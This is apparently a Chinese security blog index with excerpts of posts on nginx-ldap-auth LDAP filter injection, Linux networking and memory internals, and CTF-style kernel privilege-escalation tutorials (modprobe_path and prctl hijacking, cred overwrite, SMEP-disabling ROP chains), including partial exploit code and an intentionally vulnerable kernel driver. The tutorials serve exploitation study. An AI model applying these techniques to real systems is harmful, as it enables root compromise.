povcfe

前段时间, 有人声称发现nginx 0day, 并在NginxDay中持续跟进漏洞上报流程, 虽然漏洞确实存在, 但漏洞只存在于一个示例项目, 且漏洞危害较低. 就目前笔者漏洞分析来看, 该行为多少有点花里胡哨, 下面分析一下这个有些鸡肋的漏洞. nginx提供ngx_http_auth_request_module模块用于鉴权, 其功能特点为需要用户自定义实现鉴权api, 并由ngx_http_auth_request_module模块调用 nginx-ldap-auth结合ldap实现鉴权机制, 是一种用户自定义实现鉴权api的示例项目 nginx-ldap-auth功能原理 nginx-ldap-auth关键文件 backend-sample-app.py(处理登录表单), 将user:passwd base64编码后设置Cookie nginx-ldap-auth-daemon.py(结合ldap进行鉴权), 解析http报文中的Cookie/Authorization(有Cookie的情况下鉴权以Cookie为主) ngx_http_auth_request_module模块常用路由 nginx直接向nginx-ldap-auth-daemon.py对应url发起请求, 此时未设置Cookie/Authorization返回401 nginx转发请求至backend-sample-app.py对应url处理登录表单, 并设置Cookie nginx重定向请求至nginx-ldap-auth-daemon.py对应url, 此时存在Cookie, 解析user, passwd, 调用ldap实现鉴权, 成功则返回200 nginx-ldap-auth-daemon.py鉴权分析 从下面鉴权代码可以看出, nginx-ldap-auth-daemon.py使用searchfilter过滤ldap结果, 查找目标登录用户 // ctx['template']默认对应: 'template': ('X-Ldap-Template', '(cn=%(username)s)'), // ctx['user'], ctx['pass']: 从Cookie中解析出的user, passwd searchfilter = ctx['template'] % { 'username': ctx['user'] } ... // 默认使用(cn=username)这种模式在ldap中查找用户 results = ldap_obj.search_s(ctx['basedn'], ldap.SCOPE_SUBTREE, searchfilter, ['objectclass'], 1) user_entry = results[0] ldap_dn = user_entry[0] ldap_obj.

发表于安全客 1. socket 1.1 sock_create 1.1.1 sock_alloc 1.1.2 inet_create 1.1.2.1 sk_alloc 1.2 sock_map_fd 2. send(运输层) 2.1 import_single_range 2.2 sockfd_lookup_light 2.3 sock_sendmsg 2.4 udp_sendmsg 2.4.1 udp_cmsg_send 2.4.2 TOS 2.4.3 多播/本地广播 2.4.4 检查sock中路由信息是否过期 2.4.5 udp_send_skb 2.4.6 udp_push_pending_frames 3. recv(运输层) 2.1 udp_recvmsg 2.1.1 __skb_recv_udp 2.1.1.1 __skb_try_recv_from_queue 4. IP(网络层) 4.1 ip_cmsg_send 4.2 ip_make_skb 4.2.1 ip_setup_cork 4.2.2 __ip_make_skb 4.3 ip_append_data 4.3.1 __ip_append_data 4.4 ip_send_skb 4.4.1 __ip_local_out 1. socket SOCK_CLOEXEC 和 SOCK_NONBLOCK是2.6.27版本后增加的sock类型: SOCK_CLOEXEC 借助文件描述符FD_CLOEXEC 实现子进程运行exec后关闭sock_fd机制 SOCK_NONBLOCK 借助文件描述符O_NONBLOCK 实现非阻塞IO通信

发表于安全客 KASAN 简述 KASAN是内核用于动态检测内存错误的工具, 简单来说, 数据区域可分为两种:可访问区域，不可访问区域(red_zone).KASAN存在影子内存(shadow memory), 他和正常内存的比例是1:8, 即1byte shadow memory可以代表8bytes 正常内存的可访问性. 128TB(内核正常内存) : 16TB(影子内存) — Documentation/x86/x86_64/mm.rst x86-64 内存布局显示如下: ffffec0000000000 | -20 TB | fffffbffffffffff | 16 TB | KASAN shadow memory 具体规则(+: byte可访问, -: byte不可访问) 如果1byte shadow memory对应的8bytes 内存都可访问, 则*(shadow memory) == 0 [0] -> [+, +, +, +, +, +, +, +] 如果1byte shadow memory对应的8bytes 内存都不可访问, 则*(shadow memory)为负数 [-1] -> [-, -, -, -, -, -, -, -] 如果1byte shadow memory对应的8bytes 内存中有N bytes可访问, 则*(shadow memory) == N if N = 3 [3] -> [+, +, +, -, -, -, -, -] 实现原理

一些思考, 转眼间, 入坑安全已经两年, 一些心得 2017-2018学年(大一) 2017年进入大学, 学习土木工程专业, 如果没有后面不知缘由的对计算机的热爱, 或许我现在正在朝着桥梁设计建造工程师这个方向迈进 在通识课上, 第一次接触c语言, 由此写出了人生中的第一行hello world 奇怪的是, 我并没有想着要用c语言去完成什么高大上的项目, 自己告诉自己, 我只是想知道为什么hello world可以被输出 那几个月天天抱着一本厚厚的c语言去研究, 这也算是我的计算机启蒙了吧 但是我还是不知道为什么hello world可以被输出? 再后来对这个问题答案的渴求促使我转专业(即使降级也要转专业), 我不想和这个问题擦肩而过(或许那个时候, 如果有人可以和我说懂这个问题, 我就可以在土木安心呆着了呢 =.=) 接下来就是准备转专业, 开始转专业, 降级转网安成功(顺便遇到了我可爱的女朋友 >。<) 2018-2019学年(还是大一) 带着2017年的问题, 我进入网安, 接触了二进制, 我坚信学习这个方向可以解决我的疑惑 于是2018年的那个秋天, 捧着汇编, 程序员的自我修养度日, 三个月后颤颤巍巍的拿到第一个栈溢出shell, 似懂非懂, 浑浑噩噩, 有拿到shell的喜悦, 但疑惑加深了, 我还是没有解决我的问题, 仿佛陷入死胡同, 而且三个月才学会第一个栈溢出, 这很明显是傻子行为 不是很服气, 于是二刷程序员的自我修养, 这一次好像懂了些什么(elf文件结构, 动态链接, 静态链接, 堆栈布局), 又好像什么都不懂, 总感觉有些东西没有抓住(另外出现了一个新的问题: 进程与进程之间的内存为什么不会产生冲突, 明明汇编会访问相同的地址) 带着疑问, 继续学习栈溢出, 利用技巧花里胡哨, 简直是神仙打架, 遇到问题, 解决问题, 解决不了问题, 自闭几天, 再去解决问题, 磕磕绊绊的也算是把利用技巧全部复现了一遍 赌气似的三刷程序员的自我修养, 很明显这次我懂了更多的东西, 于是回过头整理了一遍栈溢出, 这次出奇的顺利, 没有任何阻碍, 我想或许这段时间我确实进步了

已投稿于安全客 页表 1.1. 页表查询–以x86_64下的4级页表举例(硬件) 1.1.1. TLB转换 1.1.2. 页表转换 1.1.3. 页表结构cache转换 1.2. 拓展 1.2.1. 普通页表cache 1.2.2. Huge_Page 1.2.3. 页表标志位 伙伴算法(buddy) alloc_pages源码分析 3.1. alloc_pages_current 3.2. __alloc_pages_nodemask 3.2.1. get_page_from_freelist 3.2.2. _alloc_pages_slowpath _free_pages源码分析 4.1. free_unref_page 4.1.1. free_pcppages_bulk 4.2. __free_pages_ok 4.2.1. __free_one_page slub算法 5.1. 结构体解析 kmem_cache_alloc源码分析 6.1. __slab_alloc 6.1.1. get_freelist kmem_cache_free源码分析 7.1. cache_from_obj 7.2. slab_free_freelist_hook 7.3. do_slab_free 7.3.1. __slab_free 进程vma 8.1. vm_area_struct 结构体 8.2. find_vma(vma查找) 8.2.1. vmacache_find 8.3. insert_vm_struct(vma插入) 8.3.1. find_vma_links 8.3.2. 红黑树规则 缺页中断 9.1. __do_page_fault源码分析 9.

发表于看雪论坛 本文详细讲解linux内核的加载过程，参考linux-insiders，并结合linux-5.6.6代码对原文的部分老旧内容做修改 引导 按下电源开关后, CPU设置寄存器为预定值，程序在实模式下运行，程序首先执行0xfffffff0(映射至ROM)处内容，此处为复位向量，直接跳转至BIOS。 BIOS初始化，检查硬件，寻找可引导设备，跳转至引导扇区代码(boot.img) 寻找可引导设备方式: 定位MBR分区, 引导扇区存储在第一个扇区(512字节)的头446字节处。引导扇区以0x55和0xaa(magic bytes)结束。 MBR分区代码只占用一个扇区, 空间较小，只执行了一些初始化工作, 然后跳转至GRUB2的core image(以diskboot.img为起始)继续执行。 core image的初始化代码将剩余的core image(包含GRUB 2的内核代码和文件系统驱动)加载到内存中，运行grub_main grub_main 初始化控制台，计算模块基地址，设置root设备，读取 grub 配置文件，加载模块等，最后将grub切换为normal模式 normal模式调用grub_normal_execute完成最后的准备工作，显示一个菜单列出可用的操作系统。 选择操作系统后grub_menu_execute_entry被调用，用以运行boot命令，引导操作系统, 运行kernel代码 内核自带bootloader，但是新版本内核已经弃用 kernel boot protocol规定，bootloader必须具备协议中规定的头信息 实模式运行内核 kernel地址(header.S _start)位于X + sizeof(KernelBootSector) + 1 内核加载进入内存后，空间排布 | Protected-mode kernel | 100000 +------------------------+ | I/O memory hole | 0A0000 +------------------------+ | Reserved for BIOS | Leave as much as possible unused ~ ~ | Command line | (Can also be below the X+10000 mark) X+10000 +------------------------+ | Stack/heap | For use by the kernel real-mode code.

发表于看雪论坛 hijack_modprobe_path篇 原理同hijack_prctl, 当用户执行错误格式的elf文件时内核调用call_usermodehelper(char *modprobe_path …) 修改modprobe后，即可实现root权限任意命令执行 攻击流程 (内核任意读写漏洞)内核修改全局变量 modprobe_path为目标指令 写入错误格式elf文件，并手动执行，触发 一. 利用步骤 1. 定位modprobe_path(开启kaslr) 同hijack_vdso，泄漏vdso地址，因为内核kaslr开启后，只有较高字节的地址发生偏移，且vdso与基地址相距较近，所以可以使用vdso定位内核加载地址 获得当前调试阶段modprobe_path与内核基地址固定偏移 modprobe_path_addr = 内核基地址+固定偏移 2. 修改modprobe_path 为任意指令 二. 驱动代码(见cred) 三. exp #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/auxv.h> #include <sys/prctl.h> #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 size_t modprobe_path = 0xe3cba0; size_t vmlinux_base = 0; struct vunl { char *point; size_t size; } VUNL; void leak_data(int fd, char *buf) { char *res = NULL; VUNL.

发表于看雪论坛 hijack_prctl篇 prctl函数: 用户态函数，可用于定制进程参数，非常适合和内核进行交互 用户态执行prctl函数后触发prctl系统调用 内核接收参数后执行security_task_prctl security_task_prctl执行hook.task_prctl poweroff_work_func函数: 内核函数，执行 run_cmd(poweroff_cmd)，即root权限执行poweroff_cmd 攻击流程: 劫持hook.task_prctl为目标函数地址(poweroff_work_func) 修改poweroff_cmd为目标指令 用户执行prctl函数，触发 一. 利用步骤 1. 定位内核加载基地址(开启kaslr) 同hijack_vdso，泄漏vdso地址，因为内核kaslr开启后，只有较高字节的地址发生偏移，且vdso与基地址相距较近，所以可以使用vdso定位内核加载地址 2. 定位hook.prctl，poweroff_cmd地址 gdb调试内核并在security_task_prctl函数处下断点，用户态程序执行prctl函数，进入security_task_prctl函数，单步执行汇编指令，通过内存查看hook.task_prctl 地址 gdb 执行 p poweroff_cmd，获得poweroff_cmd真实地址 获得hook.prctl，poweroff_cmd与内核基地址固定偏移 3. 修改poweroff_cmd 为任意指令 4. 用户态执行prctl函数，触发 二. 驱动代码(见cred篇) 三. exp #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/auxv.h> #include <sys/prctl.h> #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 #define SET_MEM 0X100003 size_t poweroff_cmd = 0; size_t prctl_hook = 0; size_t poweroff_work_func = 0; size_t vmlinux_base = 0; struct vunl { char *point; size_t size; } VUNL; void leak_data(int fd, char *buf) { char *res = NULL; VUNL.

发表于看雪论坛 cred篇 每个线程在内核中都对应一个线程结构块thread_info thread_info中存在task_struct类型结构体 struct task_struct中存在cred结构体用来保存线程权限 攻击流程 定位某进程的cred结构体 将cred结构提结构体的uid~fsgid全部覆写为0(前28字节) 一. 利用步骤 1. 定位cred结构体 task_struct中存在char comm[TASK_COMM_LEN] comm字符串使用prctl函数的PR_SET_NAME自行设置 在内存中搜索被设置后的comm字符串，cred结构体地址就在附近 泄漏cred结构体地址，定向覆盖cred结构体 2. 进程权限被修改，变成root进程，执行system("/bin/sh")，弹出root shell 二. 驱动代码 #include <linux/init.h> #include <linux/module.h> #include <linux/cdev.h> #include <linux/device.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <asm/cacheflush.h> #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 #define SET_MEM 0x100003 dev_t dev_id = 0; struct cdev cdev_0; struct class *dev_class; struct vunl { char *point; size_t size; } VUNL; long rw_any_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { int ret = 0; switch (cmd) { case CHANGE_POINT: ret = copy_from_user(&VUNL, (struct vunl *)(arg), sizeof(struct vunl)); break; case RW_READ: ret = copy_to_user((char *)arg, (char *)VUNL.

发表于看雪论坛 ret2usr CR4篇 smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码 内核通过CR4寄存器的第20位来控制smep, 第20位为0时，smep被关闭 攻击流程 提前在用户态代码中构造进程提权代码(get_root) ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0 修改 rip 直接指向用户态提权代码,实现进程提权 一. 判断是否开启smep 查看 boot.sh qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \ -cpu qemu64,+smep,+smap \ -nographic \ -gdb tcp::1234 smep, smap 在boot.sh -cpu选项内进行设置 二. ROP链构造 ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret ROP[i++] = 0x6f0; ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret ROP[i++] = 0; ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret ROP[i++] = 0; ROP[i++] = (size_t)get_root; 三.

发表于看雪论坛 基础ROP篇(linux 5.0.21) 内核提权与用户态攻击的区别 攻击流程 用户态攻击: 执行 system("/bin/sh") 获得shell 内核提权: 内核执行 commit_creds(prepare_kernel_cred(0)) 使进程获得root权限 用户态进程执行system("/bin/sh") 获得root权限 shell 理解难点 内核rop链构造 用户态进程与内核之间的切换 一. 漏洞分析 (建议初学者先了解基础的驱动程序知识) 查看驱动安全机制 checksec rop.ko [*] '/home/povcfe/linux/flod/rop.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) 发现开启canary和NX 查看qemu启动脚本boot.sh boot.sh qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \ -cpu qemu64 \ -nographic \ -gdb tcp::1234 查看开机自启脚本 rcS #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys echo /sbin/mdev > /proc/sys/kernel/hotplug # 支持热拔插 /sbin/mdev -s cat /proc/kallsyms > /tmp/kallsyms # 当/proc/sys/kernel/kptr_restrict=1时，普通用户不能通过/proc/kallsyms读取函数地址，为减少难度直接将kallsyms内容写入临时目录 insmod rop.

发表于看雪论坛 linux用户态下的堆溢出利用即是对ptmalloc2安全机制的绕过，只有深入的了解ptmalloc，才能进行精准的堆溢出攻击 malloc __libc_malloc(传入参数:size) 判断 是否定义hook函数 ，如果存在则调用hook函数，否则跳到2 void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); 执行arena_get得到空闲分配区 arena_get (ar_ptr, bytes); 调用_int_malloc()获得内存地址 victim = _int_malloc (ar_ptr, bytes); 如果分配失败，ptmalloc会尝试再去寻找一个可用的arena并进行内存分配 if (!victim && ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } 得到内存地址后解锁分配区 if (ar_ptr != NULL) (void) mutex_unlock (&ar_ptr->mutex); 如果在上面的步骤中获得非mmap得到的chunk，但是chunk对应的分配区与实际的分配区不相符，则程序终止 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); _int_malloc errout: 打印错误字符串并 return 判断 size是否大于(unsigned long)(-2*MINSIZE) MINSIZE=chunk的最小大小 ，如果是则return，否则将size转换为chunk_size #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE (req)) { \ __set_errno (ENOMEM); \ return 0; \ } \ (sz) = request2size (req); 判断 前面是否没有获得空闲分配区 如果是则跳到3，否则跳到4 if (__glibc_unlikely (av == NULL)) 调用sysmalloc尝试获得chunk地址，如果得到则调用alloc_perturb 将清理空间数据，return chunk地址 if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p !

根据ctf-wiki总结栈溢出, 格式化字符串漏洞, 部分堆溢出利用, 制成如下思维导图 pwn.pdf